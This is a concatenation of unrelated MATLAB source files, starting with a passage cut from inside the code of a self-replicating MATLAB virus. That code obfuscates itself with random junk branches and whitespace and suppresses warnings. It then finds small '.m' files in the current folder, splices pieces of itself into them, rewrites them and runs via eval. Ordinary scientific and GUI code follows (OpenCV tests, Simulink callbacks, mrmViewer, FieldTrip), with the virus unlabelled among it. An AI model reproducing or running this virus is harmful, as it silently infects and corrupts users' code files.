TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar005==3)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''<'' RCNumAdd '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumAdd ''>'' CompleteCompString '')''];end;if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd;eval(RCsAdd);end;end;ActualCodeForThisPart{ObfusCount}{3}=''else'';ActualCodeForThisPart{ObfusCount}{5}=''end'';end;TmpVar006=4;TmpStrWS={'''' '''' '' '' '''' ''''};while TmpVar006>0 if ObfusCount if(LineBreaksIf(TmpVar006)==1&&length(ActualCodeForThisPart{ObfusCount})==5)ActualCodeForThisPart{ObfusCount}{TmpVar006}=[ActualCodeForThisPart{ObfusCount}{TmpVar006} TmpStrWS{TmpVar006} ActualCodeForThisPart{ObfusCount}{TmpVar006+1}];ActualCodeForThisPart{ObfusCount}(TmpVar006+1)=[];end;end;TmpVar006=TmpVar006-1;end;'];
MyCode=[MyCode 'if(RandomAppearenceOfIfs)LineBreaksIf=fix(rand(1,4)*2);LineShift={};LineShift{1}(1:fix(rand*8))='' '';if rand>0.7 LineShift{1}=''    '';end;if rand>0.4 LineShift{2}=LineShift{1};else LineShift{2}(1:fix(rand*8))='' '';end;end;ObfusCount=ObfusCount+1;end;Var2Wrt{1}{end+1}=''warning off all'';delete(''odefunction.m'');'];
MyCode=[MyCode 'ActualCodeForThisPart{end+1}={[''eval('' TmpRndName{1} '');'']};Var2Wrt{end+1}={};'];
MyCode=[MyCode 'VirCode={};Count020=length(ActualCodeForThisPart);while Count020>0 VirCode{end+1}=ActualCodeForThisPart{Count020};for Count021=Count020:length(ActualCodeForThisPart) if ~isempty(Var2Wrt{Count021}) if rand>0.3 VirCode{end+1}=Var2Wrt{Count021}(end);Var2Wrt{Count021}(end)=[];end;end;end;Count020=Count020-1;end;IsAllEmpty=false;while ~IsAllEmpty IsAllEmpty=true;for Count022=1:length(Var2Wrt) if ~isempty(Var2Wrt{Count022}) IsAllEmpty=false;if rand>0.5 VirCode{end+1}=Var2Wrt{Count022}(end); Var2Wrt{Count022}(end)=[];end;end;end;end;VicFiles=dir(''*.m'');VicLines={};for Count023=1:length(VicFiles)if(VicFiles(Count023).bytes<1000 && ~strcmp(VicFiles(Count023).name,''odefunction.m''))VicIDr=fopen(VicFiles(Count023).name, ''r'');VicLines={fgetl(VicIDr)};while ischar(VicLines{end})VicLines{end+1}=fgetl(VicIDr);end;VicLines(end)=[];Count024=1;while Count024<length(VicLines)+1 IsAPO=0;Count025=1;while Count025<length(VicLines{Count024})+1 if VicLines{Count024}(Count025)==QuoteSign IsAPO=~IsAPO;end;if ~IsAPO if VicLines{Count024}(Count025)==char(37) if Count025==1 VicLines(Count024)=[];else VicLines{Count024}=VicLines{Count024}(1:Count025-1);end;end;if Count025+1<length(VicLines{Count024}) if all(VicLines{Count024}(Count025:Count025+2)==''...'') VicLines{Count024}=strcat(VicLines{Count024}(1:Count025-1),VicLines{Count024+1});Count025=1;if length(VicLines)>Count024 VicLines(Count024+1)=[];end;end;end;end;Count025=Count025+1;end;Count024=Count024+1;end;EndArray={''if'' ''for'' ''while'' ''try'' ''switch'' ''parfor''};EndCount=0;GoodLine=[];for Count026=1:length(VicLines);IsAPP=0;if ~EndCount GoodLine=[GoodLine Count026];end;for Count027=1:length(VicLines{Count026})if(VicLines{Count026}(Count027)==QuoteSign)IsAPP=~IsAPP;end;if ~IsAPP for Count028=1:length(EndArray) if Count027+length(EndArray{Count028})<length(VicLines{Count026}) if all(VicLines{Count026}(Count027:Count027+length(EndArray{Count028})-1)==EndArray{Count028}) IsStart=0;if(Count027==1)IsStart=1;elseif(VicLines{Count026}(Count027-1)=='' ''||VicLines{Count026}(Count027-1)=='';''||VicLines{Count026}(Count027-1)==char(9)) IsStart=1;end;if Count027+length(EndArray{Count028})-1==length(VicLines{Count026}) IsStart=IsStart+1;elseif(VicLines{Count026}(Count027+length(EndArray{Count028}))=='' ''||VicLines{Count026}(Count027+length(EndArray{Count028}))==''(''||VicLines{Count026}(Count027+length(EndArray{Count028}))==char(9)) IsStart=IsStart+1;end;if IsStart==2 EndCount=EndCount+1;end;end;end;end;if Count027+1<length(VicLines{Count026}) if all(VicLines{Count026}(Count027:Count027+2)==''end'') IsEnd=0;if(Count027==1)IsEnd=1;elseif(VicLines{Count026}(Count027-1)=='' ''||VicLines{Count026}(Count027-1)=='';''||VicLines{Count026}(Count027-1)==char(9))IsEnd=1;end;if Count027+2==length(VicLines{Count026}) IsEnd=IsEnd+1;elseif(VicLines{Count026}(Count027+3)=='' ''||VicLines{Count026}(Count027+3)=='';''||VicLines{Count026}(Count027+3)==char(9)) IsEnd=IsEnd+1;end;if IsEnd==2 EndCount=EndCount-1;end;end;end;end;end;end;NewInfCode={};VCsplitted={};VirSplit=sort([0 length(VirCode) fix(rand(1,length(GoodLine)-1)*length(VirCode))]);TmpVar007=length(VirSplit);while TmpVar007>1 if(VirSplit(TmpVar007-1)<VirSplit(TmpVar007)) VCsplitted{length(VirSplit)-TmpVar007+1}=VirCode(VirSplit(TmpVar007-1)+1:VirSplit(TmpVar007));else VCsplitted{length(VirSplit)-TmpVar007+1}={};end;TmpVar007=TmpVar007-1;end;GoodLine(end+1)=length(VicLines);for Count029=1:length(GoodLine)-1 NewInfCode={NewInfCode{:} VicLines{GoodLine(Count029):GoodLine(Count029+1)-1}};TmpVar008=length(VCsplitted{Count029});while TmpVar008>0 NewInfCode={NewInfCode{:} VCsplitted{Count029}{TmpVar008}{:}};TmpVar008=TmpVar008-1;end;end;NewInfCode={NewInfCode{:} VicLines{end}};fclose(VicIDr);VicIDw=fopen(VicFiles(Count023).name, ''w+'');for Count030=1:length(NewInfCode)fprintf(VicIDw,[NewInfCode{Count030} char(13) char(10)]);end;fclose(VicIDw);end;end;'];

MyCode
%input('---');
eval(MyCode);


classdef TestMSDDetector
    %TestMSDDetector

    properties (Constant)
        im = fullfile(mexopencv.root(),'test','tsukuba_l.png');
        kfields = {'pt', 'size', 'angle', 'response', 'octave', 'class_id'};
    end

    methods (Static)
        function test_detect_img
            obj = cv.MSDDetector('PatchRadius',3);
            typename = obj.typeid();

            img = imread(TestMSDDetector.im);
            kpts = obj.detect(img);
            validateattributes(kpts, {'struct'}, {'vector'});
            assert(all(ismember(TestMSDDetector.kfields, fieldnames(kpts))));
        end

        function test_detect_imgset
            img = imread(TestMSDDetector.im);
            imgs = {img, img};
            obj = cv.MSDDetector();

            kpts = obj.detect(imgs);
            validateattributes(kpts, {'cell'}, {'vector', 'numel',numel(imgs)});
            cellfun(@(kpt) validateattributes(kpt, {'struct'}, {'vector'}), kpts);
            cellfun(@(kpt) assert(all(ismember(TestMSDDetector.kfields, fieldnames(kpt)))), kpts);
        end

        function test_detect_mask
            img = imread(TestMSDDetector.im);
            mask = zeros(size(img), 'uint8');
            mask(:,1:end/2) = 255;  % only search left half of the image
            obj = cv.MSDDetector();
            kpts = obj.detect(img, 'Mask',mask);
            validateattributes(kpts, {'struct'}, {'vector'});
            assert(all(ismember(TestMSDDetector.kfields, fieldnames(kpts))));
            xy = cat(1, kpts.pt);
            assert(all(xy(:,1) <= ceil(size(img,2)/2)));
        end

        function test_error_1
            try
                cv.MSDDetector('foobar');
                throw('UnitTest:Fail');
            catch e
                assert(strcmp(e.identifier,'mexopencv:error'));
            end
        end
    end

end


function [] = system_name2(block)

% Callback processing function for mask parameter
% - number of <Requirement name> used in the System
set_param(block, 'LinkStatus', 'none');
load_system('Simulink'); % Load Simulink library (background)
load_system('MIL_Test');

No = str2double(get_param(block,'No')); % Get # of VF-s
OldNo = length(find_system(block, 'regexp', 'on','LookUnderMasks','all','Name','<Requirement name>'));

if OldNo > No  % Remove
    % Redraw all the lines and Reset the in-out ports of all related block
    % Remove all the lines from Bus Selector
    In_B4a = get_param([block '/Bus Creator4'], 'Inputs');
    In_B4a = str2num(In_B4a);
    SigFrBS_l = get_param([block '/Bus Selector'], 'LineHandles');
    for i = 1:In_B4a
    delete_line(SigFrBS_l.Outport(i));
    end
end
for i = 1:max(No,OldNo)
    if OldNo > No && i > No && i <= OldNo % Remove
        % Remove lines
        set_param([block '/Bus Creator'], 'Inputs', num2str(No));
        SigAtTLines = get_param([block '/<Requirement name>' num2str(i)],'LineHandles');
        delete_line(SigAtTLines.Inport(1));
        delete_line(SigAtTLines.Outport(1));
        %delete_line([block '/Arbitration'],['In' num2str(i) '/' num2str(1)],['Collect Verdicts/' num2str(i)]);

        % Redraw the lines from Bus Selector
        % Find how many VFs in the Requirement block, which will be deleted

        NoVF = length(find_system([block '/<Requirement name>' num2str(i)], 'regexp', 'on','LookUnderMasks','all','Name','<Preconditions name>'));
        No_In_o = length(find_system([block '/Arbitration'], 'regexp', 'on','LookUnderMasks','all','Name','In'));
        delete_line([block '/Arbitration'],['Memory/' num2str(1)],['Collect Verdicts/' num2str(No_In_o+1)]);
        % Delete Signals from Bus Selector
        SigFrBS_n = get_param([block '/Bus Selector'], 'OutputSignals');
        % delete the number of VFs singals in Arbitration
        for j = 1:NoVF
                No_In = length(find_system([block '/Arbitration'], 'regexp', 'on','LookUnderMasks','all','Name','In'));
                delete_line([block '/Arbitration'],['In' num2str(No_In) '/' num2str(1)],['Collect Verdicts/' num2str(No_In)]);
                delete_block([block '/Arbitration/In' num2str(No_In)]);
                p = strcat(',','signal',num2str(i),'.signal',num2str(j),'.signal1');
                SigFrBS_n = strrep(SigFrBS_n,p,'');
        end
        % Redesign the Verdicts Collection
        set_param([block '/Arbitration/Collect Verdicts'], 'Inputs', num2str(No_In_o-NoVF+1));
        add_line([block '/Arbitration'],['Memory/' num2str(1)],['Collect Verdicts/' num2str(No_In_o-NoVF+1)],'autorouting','on');
        % Reset the inports of Bus Creator4 and Selector
        set_param([block '/Bus Creator4'], 'Inputs', num2str(No_In_o-NoVF));
        set_param([block '/Bus Selector'], 'OutputSignals',SigFrBS_n);
        % Remove blocks
        delete_block([block '/<Requirement name>' num2str(i)]);

    elseif No > OldNo && i > OldNo && i <= No % Add
        % Add blocks
        add_block('MIL_Test/Validation Function/Test Evaluation Architecture/<system name>/<Requirement name>',[block '/<Requirement name>' num2str(i)]);
        set_param([block '/<Requirement name>' num2str(i)], 'LinkStatus', 'none');
        if i == 2
             pos = get_param([block '/<Requirement name>'], 'Position');
        else pos = get_param([block '/<Requirement name>' num2str(i-1)], 'Position');
        end
        pos1 = pos(1);
        pos3 = pos(3);
        pos2 = pos(2)+80;
        pos4 = pos(4)+80;
        set_param([block '/<Requirement name>' num2str(i)], 'Position',[pos1 pos2 pos3 pos4]);
        set_param([block '/Bus Creator'], 'Inputs', num2str(i));

        % Add Inports of Bus Creator4
        In_B4 = get_param([block '/Bus Creator4'], 'Inputs');
        In_B4 = str2num(In_B4)+1;
        set_param([block '/Bus Creator4'], 'Inputs', num2str(In_B4));

        % Add Outports of Bus Selector
        % OutSignal of Bus Seletor
        %Signal1 = 'signal1.signal1.signal1';
        %for j = 2 : i
        SignalP = strcat(',','signal',num2str(i),'.signal1.signal1');
        %Signal1 = strcat(Signal1,SignalP);
        Signal1 = get_param([block '/Bus Selector'], 'OutputSignals');
        Signal1 = strcat(Signal1,SignalP);
        %end
        set_param([block '/Bus Selector'], 'OutputSignals',Signal1)

        % Add lines
        add_line(block,['<Requirement name>' num2str(i) '/1'],['Bus Creator/' num2str(i)],'autorouting','on');
        add_line(block,['Signal Conversion/1'],['<Requirement name>' num2str(i) '/1'],'autorouting','on');

        % Add lines between Bus Selector and Bus Creator4
        %add_line(block,['Bus Selector/' num2str(i)],['Bus Creator4/' num2str(i)],'autorouting','on');
        add_line(block,['Bus Selector/' num2str(In_B4)],['Bus Creator4/' num2str(In_B4)],'autorouting','on');
        % Add Input to Arbitration
        add_block('Simulink/Ports & Subsystems/In1',[block '/Arbitration/In' num2str(In_B4)]);
        if i == 2
             posi = get_param([block '/Arbitration/In1'], 'Position');
        else
            In_in = In_B4-1;
            posi = get_param([block '/Arbitration/In' num2str(In_in)], 'Position');
        end
        pos1 = posi(1);
        pos3 = posi(3);
        pos2 = posi(2)+40;
        pos4 = posi(4)+40;
        set_param([block '/Arbitration/In' num2str(In_B4)], 'Position',[pos1 pos2 pos3 pos4]);

        % fix position of Memory
        fix_pos([block '/Arbitration/Collect Verdicts'],[block '/Arbitration/Memory'],0,10);

        % Add Line from Bus Selector to Arbitration
        add_line(block,['Bus Selector/' num2str(In_B4)],['Arbitration/' num2str(In_B4)],'autorouting','on');

        % Set Inputports of 'Collect Verdicts'
        In_CV = In_B4+1;
        set_param([block '/Arbitration/Collect Verdicts'], 'Inputs', num2str(In_CV));

        % Put the Memory Outsignal always in the last Inport of Collect
        % Verdicts
        delete_line([block '/Arbitration'],['Memory/' num2str(1)],['Collect Verdicts/' num2str(In_B4)]);
        add_line([block '/Arbitration'],['Memory/' num2str(1)],['Collect Verdicts/' num2str(In_CV)],'autorouting','on');

        % Add line from 'in' to 'Collect Verdicts', which happens in the
        % undersystem Arbitration
        add_line([block '/Arbitration'],['In' num2str(In_B4) '/' num2str(1)],['Collect Verdicts/' num2str(In_B4)],'autorouting','on');
    end
end

% Remove Outport of Bus Selector & Input of Bus Creator4

if OldNo > No  % Remove
    % Redraw all the lines and Reset the in-out ports of all related block
    % Add Line from Bus Selector to Arbitration
    SigF_N = get_param([block '/Bus Selector'], 'OutputSignals');
    N_SigF= length(findstr(SigF_N, ','))+1;
   for j = 1:N_SigF
    add_line(block,['Bus Selector/' num2str(j)],['Arbitration/' num2str(j)],'autorouting','on');
    % Add lines between Bus Selector and Bus Creator4
    add_line(block,['Bus Selector/' num2str(j)],['Bus Creator4/' num2str(j)],'autorouting','on');
   end
end


%FILENAMES Get filenames of datafile
%
%		[NAMES,DIRS,ROOT] = FILENAMES(A)
%
% INPUT
%   A         DATAFILE
%
% OUTPUT
%   NAMES     Names of the files in which the objects of A are stored.
%   DIRS      Names of the directories in which the objects of A are
%             stored.
%   ROOT      Rootdirectory of the datafile
%
% DESCRIPTION
% This routine facilitates the retrieval of the files where the objects of
% A are stored
%
% SEE ALSO (PRTools Guide)
% DATAFILES


% This script defines amino acids that can be stored by one or more organs
storageAA = {'sink_his_L(c)';
    'sink_ile_L(c)';
    'sink_leu_L(c)';
    'sink_lys_L(c)';
    'sink_met_L(c)';
    'sink_phe_L(c)';
    'sink_thr_L(c)';
    'sink_trp_L(c)';
    'sink_val_L(c)';
    % non-essential AAs
    'sink_ala_L(c)'
'sink_arg_L(c)'
'sink_asn_L(c)'
'sink_asp_L(c)'
'sink_cys_L(c)'
'sink_gln_L(c)'
'sink_glu_L(c)'
'sink_pro_L(c)'
'sink_ser_L(c)'
'sink_tyr_L(c)'
'sink_gly(c)'
    }


function[fullpath]=findpath(dirname)
%FINDPATH  Returns the full pathname of a directory on the Matlab search path.
%
%   FINDPATH(DIRNAME) returns the full pathname of directory DIRNAME,
%   provided DIRNAME is on the Matlab search path.
%
%   For example, 'findpath jlab' on a Mac might return
%
%            '/Users/lilly/Desktop/DropBox/Matlab/jlab'.
%
%   FINDPATH returns the empty string if DIRNAME is not found.
%
%   Usage: findpath('dirname');
%          findpath dirname
%   __________________________________________________________________
%   This is part of JLAB --- type 'help jlab' for more information
%   (C) 2015 J.M. Lilly --- type 'help jlab_license' for details

pathstr=path;
b=strfind(pathstr,':');
a=[1 b(1:end-1)+1];

fullpath=[];
for i=1:length(a)
    str=pathstr(a(i):b(i));
    index=strfind(str,[dirname ':']);
    if ~isempty(index)
        fullpath=str(1:end-1);
    end
end


function status=odetpbar(t,y,flag)
    persistent tf tstart;

    if isempty(flag)
        % Integration steps
        ts=mean(t);
        progress=100*ts/tf;
        textprogressbar(progress);
        status=0;
    else
        switch flag
            case 'init'     % Initializing progress bar
                tstart=tic;
                tf=max(t);
                textprogressbar('ODE integration: ');
            case 'done'     % Finishing status function
                tf=[];
                textprogressbar('');
                display([ '   Integration time: ' num2str(toc(tstart))]);
                tstart=[];
            otherwise
                error('odetpbar:UnknownError',...
                    'Unknown error has occured');
        end
    end
end


%% Create MATLAB pool job
% configuration??????????II. (6)?Profile????
j = createMatlabPoolJob('configuration', 'hpcfig1');
% Directories and files that worker can access
set(j, 'FileDependencies', {'RunDanmIt2.m'})

%% Create new task in job
createTask(j, @RunDanmIt2);
% Submit a Job to the Job Queue
submit(j);
% Wait for a job to finish running
waitForState(j);
% Retrieve the Job's Results
results = getAllOutputArguments(j);
results{:}
% Remove job
%destroy(j);


function varargout = mrmViewer(varargin)
% MRMVIEWER M-file for mrmViewer.fig
%      MRMVIEWER, by itself, creates a new MRMVIEWER or raises the existing
%      singleton*.
%
%      H = MRMVIEWER returns the handle to a new MRMVIEWER or the handle to
%      the existing singleton*.
%
%      MRMVIEWER('CALLBACK',hObject,eventData,handles,...) calls the local
%      function named CALLBACK in MRMVIEWER.M with the given input arguments.
%
%      MRMVIEWER('Property','Value',...) creates a new MRMVIEWER or raises the
%      existing singleton*.  Starting from the left, property value pairs are
%      applied to the GUI before mrmViewer_OpeningFunction gets called.  An
%      unrecognized property name or invalid value makes property application
%      stop.  All inputs are passed to mrmViewer_OpeningFcn via varargin.
%
%      *See GUI Options on GUIDE's Tools menu.  Choose "GUI allows only one
%      instance to run (singleton)".
%
% See also: GUIDE, GUIDATA, GUIHANDLES

% Edit the above text to modify the response to help mrmViewer

% Last Modified by GUIDE v2.5 13-Jul-2011 13:55:22

% Begin initialization code - DO NOT EDIT
gui_Singleton = 1;
gui_State = struct('gui_Name',       mfilename, ...
                   'gui_Singleton',  gui_Singleton, ...
                   'gui_OpeningFcn', @mrmViewer_OpeningFcn, ...
                   'gui_OutputFcn',  @mrmViewer_OutputFcn, ...
                   'gui_LayoutFcn',  [] , ...
                   'gui_Callback',   []);
if nargin & isstr(varargin{1})
    gui_State.gui_Callback = str2func(varargin{1});
end

if nargout
    [varargout{1:nargout}] = gui_mainfcn(gui_State, varargin{:});
else
    gui_mainfcn(gui_State, varargin{:});
end
% End initialization code - DO NOT EDIT
return;

% --- Executes just before mrmViewer is made visible.
function mrmViewer_OpeningFcn(hObject, eventdata, handles, varargin)
% This function has no output args, see OutputFcn.
% hObject    handle to figure
% eventdata  reserved - to be defined in a future version of MATLAB
% handles    structure with handles and user data (see GUIDATA)
% varargin   command line arguments to mrmViewer (see VARARGIN)

% Choose default command line output for mrmViewer
handles.output = hObject;

% Update handles structure
guidata(hObject, handles);

set(hObject,'Position',[0.8706    0.8308    0.1263    0.1250]);

% UIWAIT makes mrmViewer wait for user response (see UIRESUME)
% uiwait(handles.figure1);
return;

% --- Outputs from this function are returned to the command line.
function varargout = mrmViewer_OutputFcn(hObject, eventdata, handles)
% varargout  cell array for returning output args (see VARARGOUT);
% hObject    handle to figure
% eventdata  reserved - to be defined in a future version of MATLAB
% handles    structure with handles and user data (see GUIDATA)

% Get default command line output from handles structure
varargout{1} = handles.output;
return;

% --------------------------------------------------------------------
function menuFile_Callback(hObject, eventdata, handles)
return;

% --------------------------------------------------------------------
function menuLoad_Callback(hObject, eventdata, handles)
%
% Load a mesh file saved by mrVista/mrTools
%

uData = get(hObject,'userdata');

% It would be best to be able to read the list of currently open windows
% and assign a number based on that.
if ~checkfields(uData,'windowID'),
    nextWindow = 500;
    uData.windowID = nextWindow;
else
    nextWindow = max(uData.windowID(:))+1;
    uData.windowID(end+1) = nextWindow;
end

% Read a mesh starting in the Matlab working directory.
msh = mrmReadMeshFile(pwd);

if  isempty(msh), return; end

msh = meshSet(msh,'windowid',nextWindow);

% Display the mesh.  Turn off the origin lines.
msh = mrmInitMesh(msh);

mrmSet(msh,'hidecursor');
name = meshGet(msh,'name');
if isempty(name), [p,name] = fileparts(filename); end

mrmSet(msh,'title',name);
% Save the file information in the window object's user data.  We should be
% doing this for mrDiffusion, too.  And we should use this saved
% information when we ask about Editing windows.
set(hObject,'userdata',uData);

% Added in ability to open associated movie maker - RFB 06/2010
if (get(handles.OpenMovieMakerCheckbox, 'Value'))
    mrmMakeMovieGUI(nextWindow);
end

return;

% --------------------------------------------------------------------
function menuFileLoadMRD_Callback(hObject, eventdata, handles)
% Read a Matlab file containing a mrDiffusion mrMesh data set.  Then
% display the data.

% This should contain information about previously loaded data.  Here we
% store the new file information in uData.  --- Or we should ... not yet
% implemented.
uData = get(hObject,'userdata');

% Locate the file
persistent mrdPath;
persistent lastMshID;
curPath = pwd;

if(isempty(mrdPath) || isequal(mrdPath,0)), mrdPath = curPath; end
chdir(mrdPath);
[f, mrdPath] = uigetfile({'*.mat'}, 'Load MRD mesh...');
chdir(curPath);

if(isnumeric(f)), disp('Load Mesh (MRD) cancelled.'); return; end
fname = fullfile(mrdPath, f);

% Load the Mesh File.
d = load(fname);
msh = d.handles.mrMesh;
if isempty(lastMshID), lastMshID = msh.id;
else
    if msh.id == lastMshID
        lastMshID = lastMshID + 1;
        msh.id = lastMshID+1;
    end
end

% Make sure the mrMesh server is running
if ~mrmCheckServer('localhost'), mrmStart(msh.id,msh.host); end
mrmSet(msh,'refresh');

% Create the window and insert the data
msh = dtiInitMrMeshWindow(msh);
dtiMrMeshAddROIs(d.handles,msh);
dtiMrMeshAddFGs(d.handles,msh);
dtiMrMeshAddImages(d.handles,msh,d.origin,d.xIm,d.yIm,d.zIm);

% Make sure the window number is part of the title.  This way we can change the
% title later if we by an Edt | Set Window Title pull down.  Probably we
% should keep track of all the loaded meshes and the window numbers.
[p,fname,e] = fileparts(f);
str = mrmSet(msh,'windowtitle',sprintf('%.0f %s',meshGet(msh,'id'),fname));

% Added in ability to open associated movie maker - RFB 06/2010
if (get(handles.OpenMovieMakerCheckbox, 'Value'))
    mrmMakeMovieGUI(msh.id);
end

return;

% --------------------------------------------------------------------
function menuClose_Callback(hObject, eventdata, handles)
closereq;
return;

% --------------------------------------------------------------------
function menuQuit_Callback(hObject, eventdata, handles)
closereq;
return;

% --------------------------------------------------------------------
function menuEdit_Callback(hObject, eventdata, handles)

return;

% --------------------------------------------------------------------
function menuDelete_Callback(hObject, eventdata, handles)
return;

% --------------------------------------------------------------------
function menuHelp_Callback(hObject, eventdata, handles)
return;

% --------------------------------------------------------------------
function menuHelpGeneral_Callback(hObject, eventdata, handles)
% hObject    handle to menuHelpGeneral (see GCBO)
% eventdata  reserved - to be defined in a future version of MATLAB
% handles    structure with handles and user data (see GUIDATA)
helpMessage = 'Use mrmViewer to view Mesh Files.  Ordinarily these have been saved by mrVista''s 3D window viewer or mrDiffusion.';
hdl = mrMessage(helpMessage,'left',[0.7,0.85,0.15, 0.1]);

return

% --------------------------------------------------------------------
function menuHelpMovie_Callback(hObject, eventdata, handles)
% hObject    handle to menuHelpMovie (see GCBO)
% eventdata  reserved - to be defined in a future version of MATLAB
% handles    structure with handles and user data (see GUIDATA)
doc('mrmMakeMovieGUI');
return

% --- Executes on button press in btnLoad.
function btnLoad_Callback(hObject, eventdata, handles)
menuLoad_Callback(hObject, eventdata, handles)
return;

% --- Executes on button press in btnLoadMRD.
function btnLoadMRD_Callback(hObject, eventdata, handles)
menuFileLoadMRD_Callback(hObject, eventdata, handles)
return;

% --------------------------------------------------------------------
function menuOriginOff_Callback(hObject, eventdata, handles)
msh.host = 'localhost';
msh.id = whichMeshWindow;
msh.actor = 32;
mrmSet(msh,'hidecursor')
return;

% --------------------------------------------------------------------
function id = whichMeshWindow
%
%  This should be a check on uData values or something.

prompt={'Enter mesh window'};
def={'1'};
dlgTitle='Select mesh window';
lineNo=1;
answer=inputdlg(prompt,dlgTitle,lineNo,def);

if isempty(answer), id = [];
else id = str2num(answer{1});
end

return;

% --------------------------------------------------------------------
function menuEditWindowTitle_Callback(hObject, eventdata, handles)
% hObject    handle to menuEditWindowTitle (see GCBO)
% eventdata  reserved - to be defined in a future version of MATLAB
% handles    structure with handles and user data (see GUIDATA)

msh.host = 'localhost';
msh.id = whichMeshWindow;
dlgTitle='mrmViewer Edit|Title';
prompt={'Enter window title'};
lineNo=1;
def = {'Title'};
answer=inputdlg(prompt,dlgTitle,lineNo,def);

if isempty(answer), disp('User canceled.'); return;
else  mrmSet(msh,'title',answer{1}); end

return;


function done = alreadydone(variable,method,goal_vexity)
global ALREADY_MODELLED ALREADY_MODELLED_INDEX
done = 0;
index = find(ALREADY_MODELLED_INDEX == variable);
if ~isempty(index)
    if ~isempty(ALREADY_MODELLED{index})
        if isequal(ALREADY_MODELLED{index}.method,method)
            if isequal(ALREADY_MODELLED{index}.goal_vexity,goal_vexity)
                done = 1;
            end
        elseif isequal(ALREADY_MODELLED{index}.method,'milp') || isequal(ALREADY_MODELLED{index}.method,'integer') || isequal(ALREADY_MODELLED{index}.method,'exact')
            done = 1;
        end
    end
end


function E = ROBOT_DEM
% Tests routines in DEM GUI
%__________________________________________________________________________

% close and clear everything
%--------------------------------------------------------------------------
try
    cd(fullfile(spm('Dir'),'toolbox','DEM'))
catch
    cd('C:\spm\toolbox\DEM');
end
close all force
if exist('DEMO.ps','file')
    delete('DEMO.ps')
end
clc

% get scripts and functions
%--------------------------------------------------------------------------
P     = importdata('DEM_demo.m');
R     = {};
E     = {};
for i = 1:length(P)
    k = strfind(P{i},'handles,');
    if ~isempty(k)
        str          = P{i}(k + 10:end - 2);
        if exist(str,'file') == 2
            R{end + 1,1} = str;
        end
    end
end

% execute scripts and functions
%--------------------------------------------------------------------------
N     = length(R);
T     = zeros(1,N);
for i = 1:N
    try

        % run routine
        %------------------------------------------------------------------
        fprintf('\nChecking %s\n',R{i})
        t     = tic; eval(R{i}); T(i) = toc(t);

        % print graphics
        %------------------------------------------------------------------
        H     = sort(get(0,'Children'));
        for j = 1:length(H);

            figure(H(j))
            axes('position',[.05 .98 .9 .02]);
            str   = [get(gcf,'Name') ': ' R{i}];
            text(0,0.5,str,'Fontsize',10,'Fontweight','Bold')
            axis off

            spm_print('DEMO.ps',gcf);

        end
        delete(H)

    catch

        % errors
        %------------------------------------------------------------------
        E{end + 1} = lasterror;

    end

    fprintf('\n\n     --------***--------   \n\n')

end

% Show failed routines
%--------------------------------------------------------------------------
for i = 1:length(E)
    disp(E{i}.message)
    disp(E{i}.stack(end - 1))
    disp('------------------------------------------------')
end


classdef Stop < simiam.controller.Controller

    properties
        p
    end

    properties (Constant)
        % I/O
        inputs = struct();
        outputs = struct('v', 0, 'w', 0);
    end

    methods

        function obj = Stop()
            obj = obj@simiam.controller.Controller('stop');
        end
    end

    methods

        function outputs = execute(obj, robot, state_estimate, inputs, dt)
            outputs = obj.outputs;
            outputs.v = 0;
            outputs.w = 0;
        end

    end

end


% Matlab Stuff for IE 753: Material Handling.
%
% This folder has IE753-specific Matlab stuff for the current semester.
%


classdef MimMarkerCyan < MimGuiPlugin
    % MimMarkerCyan. Gui Plugin for switching transparency of zero
    %
    %     You should not use this class within your own code. It is intended to
    %     be used by the gui of the TD MIM Toolkit.
    %
    %     MimMarkerCyan is a Gui Plugin for the MIM Toolkit.
    %
    %
    %     Licence
    %     -------
    %     Part of the TD MIM Toolkit. https://github.com/tomdoel
    %     Author: Tom Doel, Copyright Tom Doel 2014.  www.tomdoel.com
    %     Distributed under the MIT licence. Please see website for details.
    %

    properties
        ButtonText = 'Cyan'
        SelectedText = 'Cyan'
        ToolTip = 'Place cyan markers'
        Category = 'Marker colour'
        Visibility = 'Dataset'
        Mode = 'Markers'

        HidePluginInDisplay = false
        PTKVersion = '1'
        ButtonWidth = 5
        ButtonHeight = 1
        Icon = 'single_marker.png'
        IconColour = GemMarkerPoint.DefaultColours{4}
        Location = 4
    end

    methods (Static)
        function RunGuiPlugin(gui_app)
            gui_app.ImagePanel.NewMarkerColour = 4;
        end

        function enabled = IsEnabled(gui_app)
            enabled = gui_app.IsDatasetLoaded && isequal(gui_app.GetCurrentModeName, MimModes.MarkerMode);
        end

        function is_selected = IsSelected(gui_app)
            is_selected = gui_app.ImagePanel.NewMarkerColour == 4;
        end
    end
end


function [result] = ft_test_run(varargin)

% FT_TEST_RUN

% Copyright (C) 2017, Robert Oostenveld
%
% This file is part of FieldTrip, see http://www.fieldtriptoolbox.org
% for the documentation and details.
%
%    FieldTrip is free software: you can redistribute it and/or modify
%    it under the terms of the GNU General Public License as published by
%    the Free Software Foundation, either version 3 of the License, or
%    (at your option) any later version.
%
%    FieldTrip is distributed in the hope that it will be useful,
%    but WITHOUT ANY WARRANTY; without even the implied warranty of
%    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
%    GNU General Public License for more details.
%
%    You should have received a copy of the GNU General Public License
%    along with FieldTrip. If not, see <http://www.gnu.org/licenses/>.
%
% $Id$

narginchk(1, inf);
command = varargin{1};
assert(isequal(command, 'run') || isequal(command, 'inventorize'));
varargin = varargin(2:end);

optbeg = find(ismember(varargin, {'dependency', 'dccnpath', 'maxmem', 'maxwalltime', 'upload', 'sort', 'returnerror'}));
if ~isempty(optbeg)
  optarg   = varargin(optbeg:end);
  varargin = varargin(1:optbeg-1);
else
  optarg = {};
end

% varargin contains the file (or files) to test
% optarg contains the command-specific options

% get the optional input arguments
dependency  = ft_getopt(optarg, 'dependency', {});
hasdccnpath = ft_getopt(optarg, 'dccnpath');  % default is handled below
maxmem      = ft_getopt(optarg, 'maxmem', inf);
maxwalltime = ft_getopt(optarg, 'maxwalltime', inf);
upload      = ft_getopt(optarg, 'upload', 'yes'); % this will be set to 'no' in case FieldTrip version is not clean
sortarg     = ft_getopt(optarg, 'sort', 'alphabetical');
returnerror = ft_getopt(optarg, 'returnerror', 'no');

if ischar(dependency)
  % this should be a cell-array
  dependency = {dependency};
end

if isempty(hasdccnpath)
  % true when central storage is available, false otherwise
